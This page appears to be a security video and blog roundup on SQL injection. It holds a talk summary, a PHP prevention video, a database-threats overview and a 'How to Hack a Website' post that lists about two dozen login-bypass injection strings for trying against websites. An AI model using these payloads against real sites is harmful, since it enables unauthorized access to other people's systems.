Advanced SQL Injection

Advanced SQL Injection

Speaker: Joseph McCray Founder of Learn Security Online

SQL Injection is a vulnerability that is often missed by web application security scanners, and it's a vulnerability that is often rated as NOT exploitable by security testers when it actually can be exploited.

Advanced SQL Injection is a presentation geared toward showing security professionals advanced exploitation techniques for situations when you must prove to the customer the extent of compromise that is possible.

The key areas are:

•IDS Evasion, Web Application Firewall Bypass
•Privilege Escalation
•Re-Enabling stored procedures
•Obtaining an interactive command-shell
•Data Exfiltration via DNS

Read more »

PHP Security: SQL Injection

PHP Security: SQL Injection

In this video I talk not so briefly about SQL injection starting with what it is and then moving on to how to prevent is causing problems for your site.

Read more »

How to Hack a Website [BASIC]

How to Hack a Website [BASIC]



How to Hack a website [BASIC]
you dont need to download any software.

here are the strings you can use:

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

this might take a while to try all of them, but, what the heq, its worth it.

Read more »

Database Threats 101: SQL Injection

Database Threats 101: SQL Injection

In this edition of SecuritySHORTS, we examine SQL injection -- the most common attack
threatening Web connected databases today. Most often viewed as a tool employed by
external hackers, SQL injection has been increasingly utilized by malicious
insiders to exploit easily susceptible database vulnerabilities. How? This short
video illustrates a SQL injection attack against a database and also provides key
mitigation tools and solutions to bolster overall database security.

Read more »